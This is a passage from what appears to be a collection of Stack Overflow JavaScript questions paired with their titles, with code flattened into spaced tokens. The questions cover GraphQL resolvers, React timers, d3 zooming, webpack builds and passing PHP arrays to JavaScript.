, iTotalRecords : 25000 , iTotalDisplayRecords : 0 , data : Array [ 1 ] } < tr > < td > < /td > < td > < /td > < td > < /td > < td > < /td > < /tr >",Why not allowed using success in jquery datatable server side processing ajax ? "JS : I have the following REST endpoints : /orders/ { id } /customers/ { id } I am limited by these two endpoints , which are going to be wrapped in my graphql schema.I would like the following Schema : I 'm wondering if it is possible to have GraphQL resolve the Customer object in the Order type ? I understand that you can not pass the result of a query into the parameter of another.I have considered the resolver of getOrder be : getCustomer resolverIt seems with my solution , there will be the additional cost of always fetching the Customer type whether or not it is queried within the getOrder query . Is it possible to rewrite my GraphQL schema in a way that GraphQL would be able to resolve the Customer type only when queried ? The limitation of my given my ORDERS REST API only returns the CustomerId makes it difficult to resolve in getOrder , since the Customer API requires a customerId returns { orderId , orderItem , customerId } returns { customerId , firstName , lastName } type Order { orderId : ID ! , orderItem : String , customer : Customer } type Customer { customerId : ID ! firstName : String ! lastName : String ! } type Query { getOrder ( id : String ! ) : Order , getCustomer ( id : String ! ) : Customer } const getOrderResolver = axios.get ( ` /orders/ $ { id } ` ) .then ( ( ordersRes ) = > { let customerId ; if ( ordersRes.data.customerId ! == null ) { customerId = ordersRes.data.customerId axios.get ( ` /customers/ $ { customerId } ` ) .then ( ( customerRes ) = > ( { return { orderId : ordersRes.data.orderId orderItem : ordersRes.data.orderItem customer : { customerId : customerRes.data.customerId firstName : customerRes.data.firstName lastName : customerRes.data.lastName } } } ) } else { return { orderId : ordersRes.data.orderId orderItem : ordersRes.data.orderItem customer : null } } } ) } ) const getCustomerResolver = axios.get ( ` /customers/ $ { customerId } ` ) .then ( ( customerRes ) = > ( { return { customerId : customerRes.data.customerId firstName : customerRes.data.firstName lastName : customerRes.data.lastName } } )",Can GraphQL optionally resolve a field given result of a query in resolver ? "JS : Please , see code : Static html+css is more than sufficient to render content ( though without IMGs , and but good layout 's blocks does not depend on imgs sizes ) . General page layout should be shown immediately like it was always intended to.And only after rendering ( or at least starting to draw it ) Javsacript should run , no matter be it just controls click bindings or endless loop as in example here.How can I run JS after static page layout is actually rendered , or at least started to appear ? ( and `` ready '' event is not suitable here , because it is not guaranteed to fire in any reasonable time ) As you see from example I am not using document write nor plan to.I also place script right before body closing tagI am not doing any actual work right in script tag - I subsribe to the event.Why browser prevents ( blocks ) user from seeing statically defined content ? Does at least modern browsers can stop that nonsense ? UPD . clarificationIf you use DOMContentLoaded for regular seemingly harmless tasks ( subsribing to buttons events , initialising async load of other code , etc . ) you in fact DO delaying user from seeing contents and that IS the real problem with DOMContentLoaded . Loop blocking here is intentional in example , just to prove that it really blocks , for those who erroneously believes DOMContentLoaded is `` async '' / '' non-blocking '' safe thing ( which is not ) . < ! -- ... -- > < head > < style type= '' text/css '' > body { background : gray ; } < /style > < /head > < body > < p > Firefox does not even shows blank page . Tab is stuck in `` suggested sites '' for 5 seconds . < /p > < p > Chrome show just blank white . No text , no background . For 5 seconds . < /p > < p > DOMContentLoaded event handler blocks page loading and rendering . Browser does not start rendering page until DOMContentLoaded handler function return . < /p > < script > document.addEventListener ( 'DOMContentLoaded ' , function ( ) { var timestamp = Date.now ( ) + 5000 ; while ( Date.now ( ) < timestamp ) ; // or synchronous 5 seconds XHR as an equivalent of loop } ) ; < /script > < /body > < ! -- ... -- >",DOMContentLoaded blocks page loading "JS : I have certain functions that I need to be able to call when a vue component is destroyed , but I do n't necessarily know what they are before the event is created.Is there a way to dynamically add a listener to the vue lifecycle events ? What I 'm trying to achieve : But that is not currently being called . Is there a different way to programatically bind listeners to component lifecycle events at runtime ? ... methods : { logOnDestroy ( txt ) { this. $ on ( 'beforeDestroy ' , ( ) = > { console.log ( txt ) } } }",How to add Vue lifecycle listener dynamically "JS : This is really puzzling me . I have function defined in main.js file , which is loaded in the header , and then latter on I am calling that function at the end of HTML code . In Chrome I am getting error Uncaught ReferenceError : delete_image is not defined , but in Firefox it is working normally ( same error is appearing in Opera ) . What is going on ? Function : Calling the function ( after HTML part of the code ) : function delete_image ( button , data = false ) { button.on ( 'click ' , function ( ) { var $ this = $ ( this ) , url = $ ( this ) .attr ( 'href ' ) ; if ( data == 'tmp ' ) { data = 'id= ' + $ this.data ( 'id ' ) ; } else if ( data == true ) { data = forma.serialize ( ) ; } $ .confirm ( { 'title ' : 'Image Delete ' , 'message ' : 'Do you want to delete this image ? ' , 'buttons ' : { 'Yes ' : { 'class ' : 'blue ' , 'action ' : function ( ) { $ .post ( url , data , function ( ) { $ this.parent ( ) .slideUp ( 'slow ' ) ; } ) ; } } , 'No ' : { 'class ' : 'gray ' , 'action ' : function ( ) { } } } } ) ; return false ; } ) ; } ; < script > var link = $ ( ' a [ role=delete ] ' ) ; delete_image ( link ) ; < /script >","Jquery 1.9 , JS - function is not defined in Chrome" "JS : I need to get the groups of an user , when i use result.values [ 0 ] .person.groupMembership.group.id it is saying undefined.How to get the groups of a user . IN.API.Raw ( `` /people-search : ( people : ( id , first-name , last-name , email-address , industry , summary , num-connections , headline , group-memberships : ( group : ( id ) ) ) ? first-name=ramesh & last-name=kotha & count= '' +25 ) .result ( function ( result , metadata ) { //got the details here }",Linkedin Api how to get groups details through people search "JS : Several of my functions require the UniversalXPConnect privilege to be enabled.So , my functions look like this : Actually , I also try to catch the exception when the privilege is denied . Looks as follows : I 'd rather to make that a separate function and call it from within my functions as follows : Given that the enablePrivilege function would be as follows : But , for security reasons , that is impossible as the privilege is granted only in the scope of the requesting function.So , the only option is to include that block of code into each of my functions ? UPDATE : As I am going to also try to catch some other exceptions I 've ended up with the following design : netscape.security.PrivilegeManager.enablePrivilege ( 'UniversalXPConnect ' ) ; function oneOfMyFunctions ( ) { netscape.security.PrivilegeManager.enablePrivilege ( 'UniversalXPConnect ' ) ; // ... } try { netscape.security.PrivilegeManager.enablePrivilege ( 'UniversalXPConnect ' ) ; // ... } catch ( e ) { // ... } function oneOfMyFunctions ( ) { if ( enablePrivilege ( ) ) { // ... } else { // ... } } function enablePrivilege ( ) { try { netscape.security.PrivilegeManager.enablePrivilege ( 'UniversalXPConnect ' ) ; } catch ( e ) { return false ; } return true ; } function readFile ( path , start , length ) { netscape.security.PrivilegeManager.enablePrivilege ( 'UniversalXPConnect ' ) ; var file = Components.classes [ ' @ mozilla.org/file/local ; 1 ' ] .createInstance ( Components.interfaces.nsILocalFile ) ; file.initWithPath ( path ) ; var istream = Components.classes [ ' @ mozilla.org/network/file-input-stream ; 1 ' ] .createInstance ( Components.interfaces.nsIFileInputStream ) ; istream.init ( file , -1 , -1 , false ) ; istream.QueryInterface ( Components.interfaces.nsISeekableStream ) ; istream.seek ( 0 , start ) ; var bstream = Components.classes [ ' @ mozilla.org/binaryinputstream ; 1 ' ] .createInstance ( Components.interfaces.nsIBinaryInputStream ) ; bstream.setInputStream ( istream ) ; return bstream.readBytes ( length ) ; } var filepath = ' C : \\test.txt ' , start = 440 , length = 5 ; try { console.log ( readFile ( filepath , start , length ) ) ; } catch ( e ) { if ( e.name == 'Error ' ) console.log ( 'The privilege to read the file is not granted . ' ) ; else console.log ( 'An error happened trying to read the file . ' ) ; }",The only option is to include that block of code into each of my functions ? "JS : Let me clarify my question . I 'm not asking how to make the following code work . I am aware that you can use the let keyword or an iffe that captures its own value of i. I just need clarification on how the value i is accessed in the following code . I read the following blog post about how it is that the following code does not work . Blog postThe writer claims that the code will not work , because we are passing the variable i as a reference instead of a value . That is , instead of providing the value of i per iteration we provide the variable to the callback in setTimeout as a reference which . In effect , when the loop terminates and callbacks fire , we will have reference to the variable i which will be 6 . Is this how it works ? Here is my understanding . My understanding is that we are not `` passing '' anything to the callbacks of the setTimeout function , when the loop is executed . We are merely setting up the asynchronous calls . When the closure callback functions do execute , they then look for the variable i based on lexical scoping rules . That is , the closures look in the scope were the callbacks have closure over , which again , in this case would be 6 since it is done after the for loop completes.Which one is it , does the function resolve the value of i to 6 based on the variable being passed as a reference on each iteration or because of lexical scoping ? for ( var i = 1 ; i < = 5 ; i++ ) { setTimeout ( function ( ) { console.log ( i ) ; } , 1000*i ) ; // 6 6 6 6 6 }","'setTimeOut ' calls in JavaScript 'for ' loops , why do they fail ?" "JS : I 've been trying to build an React app with multiple alerts that disappear after a set amount of time . Sample : https : //codesandbox.io/s/multiple-alert-countdown-294lcThe problem is if I create multiple alerts , it disappears in the incorrect order . For example , test 0 , test 1 , test 2 should disappear starting with test 0 , test 1 , etc but instead test 1 disappears first and test 0 disappears last.I keep seeing references to useRefs but my implementations do n't resolve this bug.With @ ehab 's input , I believe I was able to head down the right direction . I received further warnings in my code about adding dependencies but the additional dependencies would cause my code to act buggy . Eventually I figured out how to use refs . I converted it into a custom hook . import React , { useState , useEffect } from `` react '' ; import ReactDOM from `` react-dom '' ; import `` ./styles.css '' ; function TimeoutAlert ( { id , message , deleteAlert } ) { const onClick = ( ) = > deleteAlert ( id ) ; useEffect ( ( ) = > { const timer = setTimeout ( onClick , 2000 ) ; return ( ) = > clearTimeout ( timer ) ; } ) ; return ( < p > < button onClick= { onClick } > { message } { id } < /button > < /p > ) ; } let _ID = 0 ; function App ( ) { const [ alerts , setAlerts ] = useState ( [ ] ) ; const addAlert = message = > setAlerts ( [ ... alerts , { id : _ID++ , message } ] ) ; const deleteAlert = id = > setAlerts ( alerts.filter ( m = > m.id ! == id ) ) ; console.log ( { alerts } ) ; return ( < div className= '' App '' > < button onClick= { ( ) = > addAlert ( `` test `` ) } > Add Alertz < /button > < br / > { alerts.map ( m = > ( < TimeoutAlert key= { m.id } { ... m } deleteAlert= { deleteAlert } / > ) ) } < /div > ) ; } const rootElement = document.getElementById ( `` root '' ) ; ReactDOM.render ( < App / > , rootElement ) ; function useTimeout ( callback , ms ) { const savedCallBack = useRef ( ) ; // Remember the latest callback useEffect ( ( ) = > { savedCallBack.current = callback ; } , [ callback ] ) ; // Set up timeout useEffect ( ( ) = > { if ( ms ! == 0 ) { const timer = setTimeout ( savedCallBack.current , ms ) ; return ( ) = > clearTimeout ( timer ) ; } } , [ ms ] ) ; }",React Hooks multiple alerts with individual countdowns "JS : I 'm selecting an array of input objects using jQuery and I 'm running into an interesting problem when I try to chain together multiple methods after selecting one of the array elements . Can anyone explain to me why I get this behavior ? If I select one of the elements using jQuery .first ( ) or .last ( ) and then call .val ( ) , I get the expected value of `` 138 '' . When I try to use a location in the array , I can return the element of the array : I ca n't call .val ( ) on this object however . Instead I get this error message : I can use .slice ( x , y ) to return the single element , but this seems rather silly . What am I missing here . jQuery ( '.custom-size ' ) .first ( ) .find ( 'input : hidden ' ) returns = > [ < input id=​ '' custom_order_custom_sizes_attributes_0_size_id '' name=​ '' custom_order [ custom_sizes_attributes ] ​ [ 0 ] ​ [ size_id ] ​ '' type=​ '' hidden '' value=​ '' 138 '' > ​ , < input name=​ '' custom_order [ custom_sizes_attributes ] ​ [ 0 ] ​ [ _destroy ] ​ '' type=​ '' hidden '' value=​ '' 0 '' > ​ ] var input = jQuery ( '.custom-size ' ) .first ( ) .find ( 'input : hidden ' ) [ 1 ] returns = > < input name=​ '' custom_order [ custom_sizes_attributes ] ​ [ 0 ] ​ [ _destroy ] ​ '' type=​ '' hidden '' value=​ '' 0 '' > TypeError : Object # < HTMLInputElement > has no method 'val '",Why is array [ 0 ] returning a different object than array.first using jQuery and why ca n't I use .val ( ) ? "JS : I 'm encountering an odd error with AngularJS / Google Chrome . When I do an $ http.get ( ) it takes up to 18 seconds before it actually completes . It seems to keep at `` PENDING '' for the `` OPTIONS '' method : http : //i.imgur.com/yEozFdm.pngThe server that serves the pages is Mongoose , the one @ localhost:5000 is Flask , who returns the following headers in order for the CORS to work.Anyone knows why Chrome is delaying the OPTIONS request ? ( From the flask server debug console , it seems that the OPTIONS method really only arrives 10-20 seconds after the page has been reloaded ) . It seems to work fine in Firefox . @ mod.after_requestdef after_request ( response ) : response.headers.add ( 'Access-Control-Allow-Origin ' , 'http : //localhost:8080 ' ) response.headers.add ( 'Access-Control-Allow-Methods ' , 'GET , POST , OPTIONS ' ) response.headers.add ( 'Access-Control-Allow-Headers ' , 'Origin , X-Requested-With , Content-Type , Accept ' )","AngularJS $ http.get ( ) takes up to 10-20 seconds in Chrome , works fine in Firefox" "JS : I wrote a utility library and I want to tree-shaking them when my user publishes their app.In Webpack v4 , you need to make your module ES6 to support tree-shaking , but I also want to split my development build and my production build into different files.What I want is exactly like react 's NPM module : This leads me questions.If I make my utility modules all commonjs , I will never get tree-shaking , my app gets so huge.If I make my utility modules all ES6 static export , I will have to include development message in production code.And publishing two modules ( eg : my-utility and my-utility-es ) will not helping , because in development , my code looks like this : but in production code , I will have to change it to this : How can I solve this problem ? UpdateTo be more clear , my development build and production build contains different source code ( eg : production build has stripped all error message ) .So specify webpack mode is n't satisfying for me . // index.js'use strict ' ; if ( process.env.NODE_ENV === 'production ' ) { module.exports = require ( './cjs/react.production.min.js ' ) ; } else { module.exports = require ( './cjs/react.development.js ' ) ; } import { someFunc } from 'my-utility ' ; import { someFunc } from 'my-utility-es ' ;",Possibility about conditional export ES6 module based on process.env.NODE_ENV ? "JS : I 'm trying to use JSZip to zip some text and then open it with 7Zip . The problem is , the archive is apparently corrupted at some point . I ca n't open it . I 'm guessing it 's not created correctly , possibly because I 'm not using the correct encoding , but there could also be a slight chance that it 's happening during transfer from my Android device ( this is a Phonegap project ) to my PC ( I use adb to transfer the archive ) .My code is : Where writer is a Phonegap FileWriter object . Any ideas ? var zip = new JSZip ( ) ; zip.add ( `` hi.txt '' , `` Hello World '' ) ; var content = zip.generate ( true ) ; // true == get raw byte stringwriter.write ( content ) ;",Zipping files with javascript - corrupt archive "JS : I implemented my own split-pane with HTML/JS/CSS Flexbox.I 'm having trouble with the splitter in the following case- one of the panels has a fixed size ( in px ) , and the other one is set to grow ( flex-grow : 1 ) .In case the other panel has children with size , it wo n't scroll to the end . It gets stuck at the size of the children.Can this be fixed with CSS on the split-pane panels but not on the children ? It 's very important for me to use flex as I want to maintain responsiveness of my application , and want to avoid fixed sizes wherever I can.This is a JSFiddle sample of my question . Code snippet given below . Thanks ! function startDrag ( ) { glass.style = 'display : block ; ' ; glass.addEventListener ( 'mousemove ' , drag , false ) ; } function endDrag ( ) { glass.removeEventListener ( 'mousemove ' , drag , false ) ; glass.style = `` ; } function drag ( event ) { var splitter = getSplitter ( ) ; var panel = document.getElementById ( 'c2 ' ) ; var currentWidth = panel.offsetWidth ; var currentLeft = panel.offsetLeft ; panel.style.width = ( currentWidth - ( event.clientX - currentLeft ) ) + `` px '' ; } function getSplitter ( ) { return document.getElementById ( 'splitter ' ) ; } var con = document.getElementById ( 'container ' ) ; var splitter = document.createElement ( 'div ' ) ; var glass = document.getElementById ( 'glass ' ) ; splitter.className = 'splitter ' ; splitter.id = 'splitter ' ; con.insertBefore ( splitter , con.lastElementChild ) ; splitter.addEventListener ( 'mousedown ' , startDrag , false ) ; glass.addEventListener ( 'mouseup ' , endDrag , false ) ; .container { display : flex ; border : 1px solid ; width : 500px ; height : 300px ; position : absolute ; } .c1 { background-color : blue ; flex : 1 ; height : 100 % ; } .c2 { background-color : green ; width : 150px ; } .splitter { width : 20px ; cursor : col-resize ; } .glass { height : 100 % ; width : 100 % ; cursor : col-resize ; display : none ; position : absolute ; } .grandchild { background-color : red ; width : 50px ; height : 50px ; } < div id= '' container '' class= '' container '' > < div id= '' glass '' class= '' glass '' > < /div > < div class= '' c1 '' > < div class= '' grandchild '' > < /div > < /div > < div id= '' c2 '' class= '' c2 '' > < /div > < /div >",Draggable split-pane windows in flexbox ca n't get past child elements "JS : What is the best way to populate a javascript typed array with literal data ? Recently I 've been working a lot with javascript typed arrays for some mathematical work . In particular , I 'm using lots of Float32Array objects.I often have to manually populate their values . With a regular array , there is the following literal syntax available : var a = [ 0,1,2 ] ; But there seems to be no equivalent way to populate a typed array , so I find I have to do it with lots of individual statements ; This gets very annoying if there 's more than about 4 values . And it seems wasteful too , both in terms of script size , and javascript execution , because it has to interpret all those individual statements.Another approach I 've used is creating a setter function : But this seems quite wasteful too . I have to create a regular array as big as the typed array first , to feed into the populateArray function , and then there 's the iteration.So ... the question is : Is there a more direct and efficient way to fill a typed array with literal data ? var a = new Float32Array ( 3 ) ; a [ 0 ] = 0 ; a [ 1 ] = 1 ; a [ 2 ] = 2 ; var populateArray ( a , vals ) { var N = vals.length ; for ( var i=0 ; i < N ; i++ ) { a [ i ] =vals [ i ] ; } } ; var a = new Float32Array ( 3 ) ; populateArray ( a , [ 0,1,2 ] ) ;",Best way to populate a javascript typed array ? "JS : I have a div call it # container , Inside this # container I have n amount of img tags call it imagesn can be 2 , 10 , 40 and so on.I am wondering how I can fit n amount of images inside a # container to close all white spaces stretch the images . Quality does n't matterThis is what I tried until now : var amount = $ ( `` # container > img '' ) .length ; var amount_w = amount*200 ; //200 width of 1 image var amount_h = amount*130 ; //120 height image var refH = $ ( `` # container '' ) .height ( ) ; var refW = $ ( `` # container '' ) .width ( ) ; var refRatio = refW/refH ; $ ( `` # container img '' ) .each ( function ( ) { $ ( this ) .height ( ( amount_h-130 ) -refH ) ; $ ( this ) .width ( ( amount_w-230 ) -refW ) ; } ) ;",JS/jQuery fit all images inside div ( without whitespace ) "JS : I have the following SimpleSchema where I am trying to add custom validation to validate against entering duplicate customer name , yet whenever I try to save a new customer I get error : Exception in delivering result of invoking 'adminCheckNewCustomerName ' : TypeError : Can not read property 'namedContext ' of nullcan someone please tell me what I am doing wrong / missing here to validate the customer name against duplicate records ? Thanksschema.js : form.html : collections.js : AdminSection.schemas.customer = new SimpleSchema ( { CustomerName : { type : String , label : `` Customer Name '' , unique : true , custom : function ( ) { if ( Meteor.isClient & & this.isSet ) { Meteor.call ( `` adminCheckNewCustomerName '' , this.value , function ( error , result ) { if ( result ) { Customer.simpleSchema ( ) .namedContext ( `` newCustomerForm '' ) .addInvalidKeys ( [ { name : `` CustomerName '' , type : `` notUnique '' } ] ) ; } } ) ; } } } } ) ; UI.registerHelper ( 'AdminSchemas ' , function ( ) { return AdminSection.schemas ; } ) ; { { # autoForm id= '' newCustomerForm '' schema=AdminSchemas.customer validation= '' submit '' type= '' method '' meteormethod= '' adminNewCustomer '' } } { { > afQuickField name= '' CustomerName '' } } < button type= '' submit '' class= '' btn btn-primary '' > Save Customer < /button > { { /autoForm } } this.Customer = new Mongo.Collection ( `` customers '' ) ;",Meteor using namedContext to addInvalidKeys to an AutoForm form returning an error "JS : Basically , I want to make sure that a user has to manually close a javascript alert , and that the user ca n't simply quit out of the alert by pressing enter . ( This sounds malicious , but in the application you press enter a lot and I need to make sure they do n't miss the important information the alert gives them ) .I have tried setting the document.onkeydown to no avail : and then in the disabled functionis there a way to accomplish this without having to switch over to using modals ? document.onkeydown = disabled ; function disabled ( event ) { if ( event.keyCode==13 ) { event.preventDefault ( ) ; } }",prevent enter key from closing alert "JS : I just started using d3.js yesterday and i have some trouble getting my stuff done.For now I created a chart with two y axes , each showing some values and an x axis showing dates.On click on the values on the y axes , I display the corresponding horizontal grid lines.My problem is , that when zooming in or out , or dragging , the gridlines ( horizontal and vertical ) do n't scale correctly with the axes values , they just do n't move at all.I searched a lot this afternoon and found some examples how to do it , but none of them seem to work with the code i already have.I presume , that the logic should be added to the zoom behavior but i 'm not surePlease see this fiddle for the whole thing.I called the second y axis ( right ) zAxis even if it 's not a z axis.Help would really be greatly appreciated . // x axis gridlinesfunction make_x_gridlines ( ) { return d3.axisBottom ( x ) .ticks ( 5 ) } // add the X gridlineslet xGrid = svg.append ( `` g '' ) .attr ( 'class ' , 'grid ' ) .attr ( `` id '' , `` grid '' ) .attr ( `` transform '' , `` translate ( 0 , '' + height + `` ) '' ) .call ( make_x_gridlines ( ) .tickSize ( -height ) .tickFormat ( `` '' ) ) //zoom behaviorfunction zoomed ( ) { .. some behavior .. //redraw gridlines here ? .. some behavior .. }",Scale / Redraw d3.js gridlines on zoom / drag "JS : The following code does not appear to copy over an objects prototype.If I replace the spread with the following it works : Essentially my question is why does Object.assign work but not the spread operator . Is there something Object.assign is doing that the spread operator is missing ? const animalProto = { eat ( ) { // function body } , sleep ( ) { // function body } , } function animalCreator ( proto , attributes ) { return { ... Object.create ( proto ) , ... attributes } } const cat = animalCreator ( animalProto , { name : 'garfield ' } ) cat.eat ( ) // this is an error ; function is not defined ; it does n't appear to link the prototype chain . return Object.assign ( Object.create ( proto ) , attributes )",Does the spread operator not copy over the prototype ? "JS : I am using this PullToRefresh plugin : https : //github.com/BoxFactura/pulltorefresh.js # apiIt works well but I have a popup on my page with div inline scroll.The problem is that when I want to scroll up ( in the div ) the PullToRefresh is triggered . Is it possible to `` delete '' or to temporarily disable the PullToRefresh when my popup is opened ? edit : delete PullToRefresh ; // does not workedit2 : https : //github.com/BoxFactura/pulltorefresh.js/blob/master/dist/pulltorefresh.js PullToRefresh.init ( { mainElement : 'body ' , onRefresh : function ( ) { refreshAll ( ) ; } } ) ;",pulltorefresh.js - Disable temporarily "JS : I try to use Modernizr to detect the support for date and datetime input fields ( HTML5 ) , but those variables always return false , even when they are supported ( i.e . in Chrome ) : By researching this problem it seems this bug is an old habit . How can I solve it ? if ( Modernizr.inputtypes.datetime ) { jQuery ( `` # what '' ) .html ( `` Yes , I know datetime input fields . `` ) ; } else { jQuery ( `` # what '' ) .html ( `` Sorry , what is a datetime input field ? `` ) ; } # what { padding : 2em ; margin : 2em ; text-align : center ; border : 1px solid # 000 ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/modernizr/2.8.3/modernizr.min.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div id= '' what '' > Well ... I 'm not sure. < /div >",Detecting input type support of date and datetime types ? "JS : I 'm trying to make a simple game using jquery , javascript , html and css . I keep getting stuck on collision detection.code : more code : var map = [ [ 0,1,0,0,0,1,0,0 , ] , [ 0,1,0,0,0,1,0,0 , ] , [ 0,1,0,0,0,1,0,0 , ] , [ 0,1,1,1,0,1,0,0 , ] , [ 0,0,0,0,0,0,0,2 , ] ] ; function DrawMap ( ) { for ( var i=0 ; i < map.length ; i++ ) { for ( var j=0 ; j < map [ i ] .length ; j++ ) { if ( parseInt ( map [ i ] [ j ] ) == 0 ) { $ ( `` # container '' ) .append ( `` < div class='air ' > < /div > '' ) ; } if ( parseInt ( map [ i ] [ j ] ) == 1 ) { $ ( `` # container '' ) .append ( `` < div class='block ' > < /div > '' ) ; } if ( parseInt ( map [ i ] [ j ] ) == 2 ) { $ ( `` # container '' ) .append ( `` < div class='spike ' > < /div > '' ) ; } } } } window.onload=function ( ) { DrawMap ( ) ; } var guy=document.getElementById ( 'guy ' ) ; var up = 0 ; var guyLeft = 0 ; var health = 100 ; function anim ( e ) { if ( e.keyCode==83 ) { up +=10 ; guy.style.top = up + 'px ' ; if ( up > =400 ) { up -=10 ; } } if ( e.keyCode==87 ) { up -=10 ; guy.style.top = up + 'px ' ; if ( up < =0 ) { up +=10 ; } } if ( e.keyCode==68 ) { guyLeft +=10 ; guy.style.left = guyLeft + 'px ' ; if ( guyLeft > = 700 ) { guyLeft -= 10 ; } d } if ( e.keyCode==65 ) { guyLeft -=10 ; guy.style.left = guyLeft + 'px ' ; if ( guyLeft < = 0 ) { guyLeft += 10 ; } } } document.onkeydown=anim ; im ;",Simple Javascript collision detection ? "JS : I 'm using javascript and a canvas to draw a mathematically designed scale ( for measuring torque , it includes newton-meters and foot-pounds ) . I had been positioning my ticks using trigonometry , and drawing arcing lines using arc , naturally . The problem came when they needed to line up , but there was some strange distortion . I then drew a very large circle and compared it with a circular selection in GIMP and there was a distortion . The circles are consistent every 45 degrees around the circles , but between those nodes the canvas drawn circle deviates outwards , much like an octagon that can been rounded too far outwards to approximate a circle.Why do these distortions occur ? How can I draw a truly circular circle on a canvas ? This is the code I used to generate my distorted circle.This may not be minimal , I know not of the relevance of context.lineCap , but it 's a vestige of the code this is based on.The following screenshot shows the difference between the circle drawn by GIMP and the circle drawn by Chrome < ! DOCTYPE html > < html > < body > < canvas width=8000 height=8000 id='myCanvas ' > < /canvas > < script > var canvas = document.getElementById ( 'myCanvas ' ) ; var context = canvas.getContext ( '2d ' ) ; context.beginPath ( ) ; context.arc ( 4000 , 4000 , 3200 , 0 , Math.PI*2 , false ) ; context.lineWidth = 1 ; context.strokeStyle = ' # ff0000 ' ; context.lineCap = 'square ' ; context.stroke ( ) ; < /script > < /body > < /html >",How can I draw a circle on a canvas ? "JS : I am trying to see if the following is possible : Determining if focus occurs outside an element without the use of document level global selectors such as $ ( document ) , $ ( body ) , $ ( window ) and the like due to performance reasons.If it is not possible to achieve without global selectors , explain yourself with a provable reason . It is important that I understand why this is not doable with today 's latest techniques.Bonus Round : Determining the most efficient ( computation time wise ) selector ( s ) /event handler ( s ) /plugin ( s ) for the task.My implementation consists of a very simple HTML navigation bar as seen in the snippet below . I do native keyboard navigation between each < a > tag . The first list element is the title , containing an anchor that is visible , the second element The goal of this navigation bar is simple : Native keyboard tab or shift+tab to go from anchor to anchor.Show the drop down menu when focusing on the inner anchor elements.Hide the drop down menu when not focusing on any inner anchor elements.I have 1 and 2 down , but 3 is tricky because of the requirements listed above . I know this can be very easily be done using a global selector , but this challenge is about figuring out and understanding if it can be done otherwise.Important : I consider event.stopPropagation ( ) ; , as explained in CSS Tricks - The Dangers of Stopping Event Propagation to be a dangerous technique for the scope of this question , however if using said technique results in the most efficient approach then I will welcome it . < ul class= '' test '' > < li > < a href= '' # '' > Title < /a > < /li > < li > < ul > < li > < a href= '' # '' > Some link < /a > < /li > < li > < a href= '' # '' > Some link < /a > < /li > < li > < a href= '' # '' > Some link < /a > < /li > < li > < a href= '' # '' > Some link < /a > < /li > < /ul > < /li > < /ul > $ ( document ) .ready ( function ( ) { dropdownMenu = $ ( `` .test > ul '' ) ; dropdownMenu.hide ( ) ; $ ( `` .test '' ) .focusin ( function ( ) { if ( dropdownMenu.is ( `` : hidden '' ) ) { dropdownMenu.show ( ) ; } } ) ; // Some selector for some event here to handle the focus/clicks outside the $ ( `` .test '' ) element } ) ;",Determining when focus occurs outside an element "JS : The problem is , given a list of coordinates , determine the number of k coordinates that are closest to the origin.I have been able to determine the distance between the points and origin , however when filtering for the closest k points , I am lost . I decided to place this logic in a the second for loop , sort the array of distance from closest to furthest , and push the values that are less than K. Expected output : [ -5 , 4 ] , [ 4 , 6 ] // I had [ -5 , 4 ] , [ -6 , -5 ] function kClosest ( points , k ) { let length = [ ] ; let arr = [ ] ; let result = [ ] ; let a = 0 ; let b = 0 ; for ( let i = 0 ; i < points.length ; i++ ) { a = points [ i ] [ 0 ] ; //x coord b = points [ i ] [ 1 ] ; //y coord ( y will always be second number or ' 1 ' ) length.push ( parseFloat ( calcHypotenuse ( a , b ) .toFixed ( 4 ) ) ) arr.push ( [ points [ i ] , length [ i ] ] ) } function calcHypotenuse ( a , b ) { return ( Math.sqrt ( ( a * a ) + ( b * b ) ) ) ; } for ( let i = 0 ; i < k ; i++ ) { arr = arr.sort ( ) ; result.push ( arr [ i ] [ 0 ] ) } return result ; } console.log ( kClosest ( [ [ -5 , 4 ] , [ -6 , -5 ] , [ 4 , 6 ] ] , K = 2 ) )","Find the K closest points to the origin ( 0 , 0 )" "JS : I 'm writing a Chrome extension that launches a script with a keyboard shortcut . It works fine on most pages but I realized that on Gmail it does n't : it seems that all keyboard events are captured by Gmail and are not bubbled up to my function.I have a content script ( in Chrome extension this is added to any page you want ) that has ( simplified of course ) : But actually , Gmail does let me down . I know that the script is loaded . I tried different variations of window.addEventListener and other event types to no avail.Does anybody know of a way to bypass this ? I tried to see if GreaseMonkey script could do it , that brought me here : http : //code.google.com/p/gmail-greasemonkey/ but that did n't help me.Thanks ! document.body.addEventListener ( 'keypress ' , myFunction , true ) ; function myFunction ( event ) { console.log ( `` yay , Gmail did n't let me down ! `` ) ; }",Gmail seems to capture all keyboard events . Any way to go around that ? "JS : I have a very simple PHP arrayPHPIf I dd ( $ array ) ; out I gotIf I decode dd ( json_encode ( $ array ) ) ; , I got thisJSI want to be able to access this variable in my Javascript , So I 've tried1console.log ( $ array ) ; I got $ array is not defined2I 'm using Laravel . { { } } == echoconsole.log ( ' { { $ array } } ' ) ; I got500 Internal Errorhtmlentities ( ) expects parameter 1 to be string , array given ( View : /Users/bheng/Sites/portal/resources/views/cpe/index.blade.php ) 3console.log ( ' { { json_encode ( $ array ) } } ' ) ; I gotThe page to load , but the data is very bad looking { & quot ; a & quot ; : & quot ; 1 & quot ; , & quot ; b & quot ; : & quot ; 2 & quot ; , & quot ; c & quot ; : & quot ; 3 & quot ; } 4console.log ( JSON.parse ( ' { { json_encode ( $ array ) } } ' ) ) ; I gotUncaught SyntaxError : Unexpected token & in JSON at position 15console.log ( JSON.parse ( ' { { json_decode ( $ array ) } } ' ) ) ; I gotjson_decode ( ) expects parameter 1 to be string , array given6console.log ( ' { { json_decode ( $ array ) } } ' ) ; I gotjson_decode ( ) expects parameter 1 to be string , array givenGOALI just want to be able to access my array as Javascript Array or JSON in the Javascript.Can someone please fill me in on this ? $ array = [ ] ; $ array [ ' a ' ] = ' 1 ' ; $ array [ ' b ' ] = ' 2 ' ; $ array [ ' c ' ] = ' 3 ' ; array:3 [ ▼ `` a '' = > `` 1 '' `` b '' = > `` 2 '' `` c '' = > `` 3 '' ] `` { `` a '' : '' 1 '' , '' b '' : '' 2 '' , '' c '' : '' 3 '' } ''",How can I access PHP array inside my Javascript ? "JS : I have an arrayand I want to trim the spaces from each of the element from array.It can be done by using Array.map asI 'm curious about passing the trim/toLowerCase function directly to the map as callback function , like arr.map ( Math.max.apply.bind ( Math.max , null ) ) ; to get the maximum element from each subarray or arr.map ( Number ) ; to cast each element to Number.I 've triedbut it is throwing error Uncaught TypeError : Function.prototype.apply was called on undefined 